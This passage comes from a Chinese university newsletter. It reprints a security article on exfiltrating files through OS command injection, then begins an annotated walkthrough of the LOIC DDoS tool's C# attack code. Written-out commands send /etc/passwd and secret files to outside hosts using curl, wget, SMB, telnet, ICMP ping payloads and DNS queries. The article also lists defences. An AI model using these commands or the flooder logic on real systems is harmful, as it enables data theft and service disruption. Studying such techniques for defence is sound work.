器 也 确 保 配 置 使 用 ssl, 保 护 客 户 端 数 据 不 被 传 播 到 网 络 上 以 下 展 示 了 将 /etc/passwd 内 容 作 为 一 个 请 求 返 回

93 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 CURL 命 令 也 能 够 被 用 来 通 过 FTP 来 传 输 文 件 同 样 的, 如 果 你 能 确 认 一 个 操 作 系 统 命 令 注 入 漏 洞 时, 可 以 用 以 下 命 令 来 传 输 文 件 到 FTP 服 务 器 上 curl T {path to file} ftp://xxx.xxx.xxx.xxx user {username}:{password} 以 下 是 使 用 FTP 将 文 件 从 目 标 服 务 器 传 输 到 FTP 服 务 器 上 当 然,cURL 也 可 以 使 用 其 他 的 协 议 进 行 传 输, 如 之 前 提 到 的 SCP, TFTP 或 TELNET, 这 里 就 不 再 一 一 介 绍 了 WGET

94 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 wget 是 一 个 从 网 络 上 自 动 下 载 文 件 的 自 由 工 具 它 支 持 HTTP,HTTPS 和 FTP 协 议, 并 可 以 使 用 HTTP 代 理. 所 谓 的 自 动 下 载 是 指,wget 可 以 在 用 户 退 出 系 统 之 后 仍 然 在 后 台 执 行 这 意 味 这 你 可 以 登 录 系 统, 启 动 一 个 wget 下 载 任 务, 接 着 退 出 系 统, 而 wget 将 在 后 台 执 行 直 到 任 务 完 成 同 时 也 可 以 使 用 WGET 提 交 一 个 包 含 header 报 文 头 部 的 请 求 到 服 务 器, 格 式 如 下, header= name:value 可 以 通 过 以 上 的 这 种 方 式, 抓 取 想 要 的 数 据 可 以 将 需 要 抓 取 的 文 件 名 称 路 径 设 置 为 header 的 值 wget header= EVIL:$(cat /data/secret/password.txt) 我 们 可 以 从 web 服 务 器 上 的 日 志 看 到 相 应 的 效 果, 如 下, 我 们 也 可 以 使 用 标 签 记 号 来 将 一 个 命 令 封 装 到 在 执 行 原 始 命 令 的 数 据 里 面 去 下 一 个 例 子 展 示 了 如 何 取 回 /etc/passwd 文 件 wget header= evil:`cat /etc/passwd xargs echo n`

95 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 实 际 上, 也 可 以 使 用 WGET 提 交 一 个 post 请 求 到 我 们 的 web 服 务 器 上, 接 着 通 过 使 用 post-data 在 发 送 请 求 的 主 体 中 加 入 字 符 串 数 据 或 者 使 用 post-file 来 将 文 件 传 输 到 web 服 务 器 操 作 命 令 及 效 果 如 下 wget post-data exfil=`cat /data/secret/secretcode.txt` wget post-file trophy.php

96 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 SMB 通 过 SMB 协 议, 在 目 标 服 务 器 和 主 机 之 间 建 立 网 络 共 享 连 接, 然 后 将 目 标 服 务 器 上 的 文 件 做 分 享, 接 着 就 可 以 在 主 机 端 将 分 享 的 文 件 copy 下 来 啦 操 作 的 命 令 如 下, net use h: \\xxx.xxx.xxx.xxx\web /user:{username} {password} && copy {File to Copy} h:\ {filename}.txt 操 作 效 果 如 下 :

97 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 TELNET 如 果 telnet 客 户 端 是 在 远 程 服 务 器 上, 那 么 我 们 可 以 利 用 这 个 条 件 传 输 一 个 文 件 到 主 机 的 监 听 器 上, 通 过 以 下 操 作 命 令, telnet xxx.xxx.xxx.xxx {port} <</span> {file to transfer} 操 作 效 果 如 下 : ICMP 如 果 你 针 对 的 目 标 主 机 已 经 被 加 固, 有 的 工 具 诸 如 netcat, wget 或 者 CURL 已 经 被 移 除 那 对 于 数 据 库 下 载 来 说, 虽 然 有 难 度, 但 是 还 是 有 另 外 的 一 些 技 术 可 以 用 的 首 先, 尝 试 让 这 主 机 ping 你 的 机 器, 然 后 看 ICMP 报 文 是 否 被 防 火 墙 过 滤, 如 果 没 有 被 过 滤, 而 主 机 底 层 系 统 又 是 Linux 的 话, 我 们 就 能 够 将 数 据 通 过 ICMP echo 请 求, 使 用 p flag 来 进 行 传 输 文 件 首 先, 我 们 需 要 将 文 件 转 换 为 十 六 进 制, 然 后 将 数 据 插 入 到 数 据 包 中 这 个 可 以 通 过 下 面 的 例 子 认 识 下, cat password.txt xxd -p -c 16 while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done 通 过 Wireshark, 我 们 能 观 察 到 接 收 到 的 数 据 包 中 已 经 包 含 了 我 们 的 数 据,

98 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 DNS 跟 ping 命 令 的 原 理 相 似, DNS 也 能 被 用 来 进 行 数 据 库 下 载 这 次 我 们 将 用 每 行 数 据 作 为 一 个 DNS 查 询 的 主 机 名 通 过 监 测 网 络 流 量, 可 以 在 我 们 的 机 器 上 重 组 数 据 包, 还 原 原 始 文 件 在 这 个 实 例 中, 下 面 的 命 令 将 作 为 我 们 请 求 部 分 提 交 给 服 务 器

99 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 done cat /data/secret/password.txt while read exfil; do host $exfil.contextis.com ; 操 作 效 果 如 下, 可 以 一 个 脚 本, 将 接 收 到 的 DNS 数 据 包 重 组 为 原 始 文 件 : 基 于 上 述 拖 库 方 法 的 防 护 在 本 文 中 我 们 展 示 了 使 用 一 些 方 法 进 行 拖 库 那 么, 你 如 何 去 预 防 这 样 的 事 情 发 生? 1 如 果 可 能 的 话, 尽 量 避 免 将 用 户 输 入 的 信 息 作 为 操 作 系 统 命 令 的 参 数 2 所 有 的 用 户 输 入 应 该 进 行 校 验 最 好 的 方 式 是 将 采 用 白 名 单 的 方 式, 将 合 法 的 字 符 串 添 加 到 白 名 单 列 表, 其 他 的 则 为 过 滤 3 定 期 进 行 代 码 审 查 和 渗 透 测 试, 以 确 保 能 够 检 测 出 应 用 漏 洞, 并 能 快 速 修 复 漏 洞 同 时 在 修 复 的 过 程 中, 应 积 极 跟 进 修 复 情 况, 确 认 被 发 现 的 漏 洞 已 被 修 复 的 成 功 而 对 于 web 应 用 服 务 器 也 应 该 进 行 加 固, 确 保 减 少 服 务 器 缺 陷 带 来 的 影 响, 具 体 如 下, 1 将 其 他 不 必 要 的 工 具 移 除, 像 能 被 利 用 进 行 攻 击 的 工 具 curl, Wget 或 NetCat 等 ; 2 根 据 最 小 权 限 原 则, 保 持 以 低 权 限 的 特 权 帐 户 运 行 Web 服 务 程 序 ; 3 确 保 对 网 络 应 用 程 序 日 志 进 行 定 期 审 查, 以 确 定 来 自 网 络 的 攻 击, 审 查 周 期 最 低 应 保 持 在 每 三 天 一 次, 最 好 可 以 达 到 每 天 一 次 ; 4 在 内 部 加 强 数 据 流 量 管 控, 通 过 内 部 防 火 墙 防 止 攻 击 者 将 数 据 回 传 至 其 服 务 器 * 原 文 :contexie,fb 小 编 troy 编 译, 转 载 请 注 明 来 自 FreeBuf 黑 客 与 极 客 (FreeBuf.COM) 相 关 链 接 :

100 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 解 读 臭 名 昭 著 的 DDoS 工 具 LOIC( 低 轨 道 离 子 加 农 炮 ) 源 码 本 文 原 创 作 者 :VillanCh 声 明 :Loic 开 源, 仅 作 学 习 交 流 用, 用 作 任 何 非 法 攻 击 事 件 与 本 站 和 本 作 者 无 关 Loic 介 绍 : Loic( 低 轨 道 离 子 加 农 炮 ) 是 一 个 叫 4Chan-affiliated 的 团 体 开 发 的, 这 个 工 具 被 成 千 上 万 的 匿 名 使 用 者 使 用, 在 网 络 环 境 中, 造 成 了 很 多 混 乱, 使 用 DDos 来 对 一 个 网 站 进 行 压 力 测 试 就 我 自 己 而 言, 我 是 不 喜 欢 这 个 工 具 的, 但 是 很 多 人 对 这 个 工 具 属 于 一 种 崇 拜 我 一 直 以 为 loic 这 个 工 具 是 直 接 在 链 路 层 进 行 Flood, 有 非 常 高 的 效 率 或 者 怎 么 样 的 技 术 水 平, 但 由 于 当 时 自 己 一 直 没 有 去 寻 找 Loic 的 源 码, 没 有 去 了 解 Loic 到 底 是 怎 么 一 种 " 神 奇 " 的 工 具 但 是 后 来 知 道 这 玩 意 C# 写 的, 之 前 没 看 过 C# 的 项 目, 随 意 搜 了 一 下 百 度 什 么 的, 我 很 好 奇 为 什 么 大 家 对 这 个 东 西 的 源 码 闭 口 不 提, 也 许 是 因 为 太 无 聊? 也 许 是 因 为 大 家 不 屑 于 提 这 个 所 谓 的 加 农 炮? 不 管 是 好 是 坏 这 种 无 聊 的 事 情, 就 给 我 这 种 无 聊 的 人 来 做 吧 攻 击 原 理 来 自 wiki 的 解 释 这 里 关 于 DoS 与 DDoS 有 很 详 细 的 解 释, 有 兴 趣 的 读 者 可 以 去 详 细 看 一 下, 个 人 觉 得 wi ki 还 是 很 客 观 地 在 解 释 这 个 问 题, 但 是 鉴 于 wiki 中 有 一 些 网 络 术 语, 如 果 大 家 阅 读 有 困 难 的 话, 我 可 以 很 通 俗 地 来 解 释 一 下 DoS(DDoS) 拒 绝 服 务 攻 击 : 我 们 浏 览 一 个 网 站, 就 要 像 这 个 网 站 发 送 数 据 包 ( 合 理 请 求 ), 因 为 请 求 完 全 合 理, 那 么 也 就 意 味 着, 网 站 将 会 正 常 处 理 我 们 的 请 求, 这 样 就 是 说 每 一 个 请 求 都 会 消 耗 一 些 资 源, 那 么 在 这 样 一 种 情 景 : 比 如 大 学 抢 课 经 常 出 现 几 千 人 同 时 在 同 一 时 间 上 网 导 致 服 务 器 " 瘫 痪 " 的 事 件, 那 么 如 果 大 家 能 理 解 到 这 里 的 话, 我 们 简 单 来 解 释 DoS 就 会 变 得 很 容 易 了,Dos 就 是 你 不 停 的 发 送 某 一 个 请 求 去 占 用 服 务 器 系 统 资 源, 就 好 比 你 充 当 了 很 多 人 同 时 访 问 一 个 网 站 一 样, 如 果 网 站 服 务 器 无 法 承 受 这 种 压 力 的 话 自 然 会 崩 溃, 对 不 对? DoS: 拒 绝 服 务 攻 击 DDos: 分 布 式 拒 绝 服 务 攻 击 虽 然 只 是 三 个 字 ( 一 个 字 母 ) 的 差 别, 这 两 个 攻 击 的 威 力 差 别 很 大,Dos 大 多 数 只 不 过 指 的 是 一 台 主 机 ( 攻 击 机 ) 对 目 标 进 行 攻 击 ( 发 送 过 量 的 数 据 包 请 求 来 占 用 服 务 器 资 源 ), 而 DDoS 是 一 群 计 算 机 ( 被 控 制 者 控 制 的 僵 尸 网 络 ) 对 目 标 发 起 攻 击, 强 度 是 Dos 的 很 多 倍 ( 有 幸 曾 经 见 过 一 秒 几 十 G 的 流 量 的 DDos 攻 击, 僵 尸 网 络 包 含 了 多 台 高 性 能 服 务 器 ) 现 在 截 止 15 年 11 月 aliyun 声 称 他 们 的 服 务 器 已 经 可 以 抵 御 每 秒 上 百 G 的 DDos 流 量 攻 击 Loic 初 探 Github 上 down 下 zip 项 目 源 码, 打 开

101 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 没 错 就 这 么 简 单, 没 什 么 神 奇 的, 初 步 看 了 一 下, 没 错 就 是 C# 写 的, 其 实 这 些 真 的 没 什 么 神 奇 的, 下 图 是 VS2013 的 界 面, 打 开 以 后 就 是 这 个 样 子 而 已, 如 果 你 自 己 开 发 工 具 的 话, 我 觉 得 也 不 过 这 样 子, 其 实 就 是 一 个 很 普 通 的 项 目 罢 了, 项 目 截 图 在 下 面, 大 家 可 以 随 意 感 受 一 下 : 至 于 为 什 么 我 打 开 这 个 界 面? 相 信 大 家 有 过 MFC 或 者 C# 编 程 基 础 的 同 学 都 知 道 这 样 来 分 模 块 看 代 码 不 容 易 乱 ( 这 是 什 么 理 论 ), 那 我 们 就 继 续?OK 我 们 现 在 应 该 做 什 么? 还 是 先 点 一 下 启 动 吧, 看 看 这 个 神 秘 的 东 西 到 底 是 怎 么 样 的 状 况 : 看 起 来 非 常 容 易 使 用, 实 际 上, 建 议 大 家 在 虚 拟 环 境 做 一 下 小 实 验, 我 们 并 不 是 要 对 这 个 工 具 讲 解 用 法, 这 样 没 任 何 意 义 我 们 是 来 分 析 Loic 源 码 的, 那 么 我 们 现 在 就 开 工 吧! 关 于 这 个 项 目 的 源 码 分 析 说 明 : 在 开 始 分 析 以 前, 默 认 大 家 是 有 一 定 的 软 件 开 发 基 础 的, 但 是 笔 者 还 是 会 很 努 力 用 一 种 简 单 的 方 式 来 讲 述, 以 至 于 不 懂 得 C# 但 是 懂 得 其 他 的 OOP 语 言 的 读 者 也 能 懂 得 项 目 函 数 的 意 义

102 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 首 先 要 做 的 是 在 双 击 开 始 攻 击 按 钮, 然 后 转 到 选 中 右 键 attack, 点 击 查 看 定 义 或 者 转 到 定 义 然 后 我 们 就 看 到 了 发 动 攻 击 模 块 的 源 代 码 了

103 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 接 下 来 我 们 对 照 几 个 图 片 来 理 解 一 下 段 代 码 的 意 思 然 后 我 直 接 复 制 过 来 方 便 在 注 释 中 讲 解 一 下 攻 击 逻 辑 /* 我 们 直 接 转 到 了 Attack 函 数, 这 样 可 以 直 接 了 解 它 的 攻 击 逻 辑 模 块 想 必 是 极 好 的 首 先 Attack 函 数 有 三 个 参 数 参 数 一 :toggle 是 开 关 的 意 思,toggle 为 true 且 攻 击 按 钮 的 文 本 是 IMMA CHARGIN M AH LAZER 时 发 动 攻 击 参 数 二 :on 也 是 开 关, 这 个 开 关 当 toggle 为 false 且 on 为 true 的 时 候 发 动 攻 击 参 数 三 : 设 置 静 默 攻 击,( 如 果 不 是 静 默 攻 击 的 话, 会 提 示 出 很 多 的 恼 人 的 Messagebox 再 来 看 一 下 引 用 情 况 : LOIC\frmMain.cs 408:Attack(false,false,true); 504:Attack(false,true,true); 574:Attack(true,false,false); */ private void Attack(bool toggle, bool on, bool silent) { /* 这 个 if 表 明 开 始 攻 击 的 条 件 确 认 cmdattack.text 的 内 容 并 且 同 时 toggle 为 true 时, 开 始 执 行 if 内 语 句 或 者 toggle 为 false 且 on 为 true 时 开 始 执 行 if 内 语 句 */ if((cmdattack.text == "IMMA CHARGIN MAH LAZER" && toggle == true) (toggle == false && on == true)) { try

104 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 { /* 关 于 下 面 这 两 个 try 部 分 的 内 容, 其 实 很 好 理 解, 就 是 设 置 端 口 和 线 程 数, 如 果 没 有 设 置 成 功 就 会 throw 一 个 异 常 */ try { iport = Convert.ToInt32(txtPort.Text); } catch { throw new Exception("I don&#039;t think ports a re supposed to be written like THAT."); } try { ithreads = Convert.ToInt32(txtThreads.Text); } catch { throw new Exception("What on earth made you pu t THAT in the threads field?"); } /* 锁 定 IP, 如 果 IP 没 填 或 者 不 对 的 话, 抛 出 一 个 异 常 */ sip = txttarget.text; N O N E!")) if(string.isnullorempty(sip) String.Equals(sIP, " throw new Exception("Select a target."); /* 这 里 是 对 shost 进 行 处 理,sHost 是 目 标 主 机 名 称, 填 了 域 名 就 是 域 名, 没 有 填 域 名 就 是 IP 地 址 */ if( String.IsNullOrEmpty(sHost) ) shost = sip; p://", shost); if(!shost.contains("://") ) shost = String.Concat("htt shost = new Uri(sHost).Host; /* * 关 于 攻 击 方 式 的 选 择 * 这 里 提 供 了 三 个 可 选 方 式 * 1 代 表 TCP * 2 代 表 UDP * 3 代 表 HTTP

105 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 */ iprotocol = 0; smethod = cbmethod.text; if(string.equals(smethod, "TCP")) iprotocol = 1; if(string.equals(smethod, "UDP")) iprotocol = 2; if(string.equals(smethod, "HTTP")) iprotocol = 3; if(iprotocol == 0) "); throw new Exception("Select a proper attack method. /* 这 里 显 然 是 设 置 发 送 的 数 据 包 中 的 数 据 的 * 我 猜 你 不 会 把 自 己 的 名 字 写 进 去 的, 对 吧? */ ", "\n"); rotocol == 2)) sdata = txtdata.text.replace("\\r", "\r").replace("\\n if(string.isnullorempty(sdata) && (iprotocol == 1 ip throw new Exception("Gonna spam with no contents? Y ou&#039;re a wise fellow, aren&#039;t ya? o.o"); /* * 这 里 是 针 对 http subsite 设 置 的 一 个 text */ ssubsite = txtsubsite.text; if(!ssubsite.startswith("/") && (iprotocol == 3)) or example \"/\")"); throw new Exception("You have to enter a subsite (f /* * 设 置 超 时 信 息 */ try { itimeout = Convert.ToInt32(txtTimeout.Text); } catch { throw new Exception("What&#039;s up with someth ing like that in the timeout box? =S"); }

106 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 } /* * 异 常 处 理 ( 略 ) * 有 经 验 的 朋 友 我 想 这 里 不 是 问 题, * 如 果 不 懂 得 这 里 的 代 码 是 什 么 意 思, 我 们 可 以 简 单 理 解 为 * 如 果 发 现 上 面 try 的 代 码 抛 出 异 常 * 捕 获 异 常 以 后 执 行 下 面 代 码 */ catch (Exception ex) { if(silent) return; new frmwtf().show(); MessageBox.Show(ex.Message, "Wha t the shit."); return; } /* * 在 正 式 的 攻 击 开 始 之 前 先 将 文 本 设 置 为 Stop Flooding */ cmdattack.text = "Stop flooding"; /* * 首 先, 对 TCP 和 UDP 的 攻 击 方 式 进 行 处 理 */ d, "UDP")) if(string.equals(smethod, "TCP") String.Equals(sMetho { /* * 按 照 线 程 数 建 立 XXPFlooder 对 象 * 一 个 线 程 对 应 一 个 XXPFlooder 对 象 * * xxp 是 一 个 存 储 攻 击 对 象 数 组 */

107 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 xxp = new XXPFlooder[iThreads]; for (int a = 0; a < xxp.length; a++) { /* 为 每 一 个 线 程 设 计 攻 击 参 数 * sip 目 标 ip 地 址 * iport 目 标 端 口 号 * iprotocol 要 是 用 的 攻 击 协 议 * idelay 延 迟 * chkwaitreply.checked 是 否 判 断 需 要 受 到 回 复 ( 当 然 不 检 查 回 复 的 攻 击 速 度 更 快 ) * sdata 数 据 包 的 Data * chkallowrandom.checked 检 查 是 否 需 要 随 机 * */ xxp[a] = new XXPFlooder(sIP, iport, iprotocol, idelay, chkwaitreply.checke d, sdata, chkallowrandom.checked); /* 启 动 */ xxp[a].start(); } } /* * 这 里 代 码 的 组 织 形 式 和 上 面 一 样, 我 就 不 再 多 讲 了, 大 家 很 容 易 可 以 看 懂 */ if(string.equals(smethod, "HTTP")) { http = new HTTPFlooder[iThreads]; for (int a = 0; a < http.length; a++) { http[a] = new HTTPFlooder(sHost, sip, iport, ssubsite, chkwaitreply.checked, idelay, itimeout, chkallowrandom.checked, chkallowgzip.checked);

108 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 http[a].start(); } } /* * 更 新 攻 击 的 动 态 */ tshowstats.start(); } /* * 如 果 toggle 是 true 或 者 是 on 为 false 时, 关 闭 攻 击 */ else if(toggle == true on == false) { cmdattack.text = "IMMA CHARGIN MAH LAZER"; if(xxp!= null) { for (int a = 0; a < xxp.length; a++) { xxp[a].isflooding = false; } } if(http!= null) { for (int a = 0; a < http.length; a++) { http[a].isflooding = false; } } //tshowstats.stop(); }

109 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 } 接 下 来 我 们 对 照 几 个 图 片 来 理 解 一 下 段 代 码 的 意 思 首 先 是

110 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 这 样 我 们 就 对 整 体 上 的 攻 击 逻 辑 和 参 数 设 置 有 了 一 定 的 了 解, 但 是 我 们 还 没 有 深 入 去 看 到 底 是 怎 么 样 的 攻 击 方 法 会 造 成 Dos? 寻 找 真 正 的 攻 击 模 块 显 然 我 们 需 要 更 加 深 层 去 看 一 下 接 下 来 的 内 容, 以 TCP 模 式 的 攻 击 为 例, 我 们 继 续 深 入 看 一 下 攻 击 模 块 首 先 我 们 需 要 找 到 真 正 的 攻 击 模 块, 右 击 Start 然 后 选 择 " 转 到 定 义 " 右 击 Start 然 后 选 择 " 转 到 定 义 "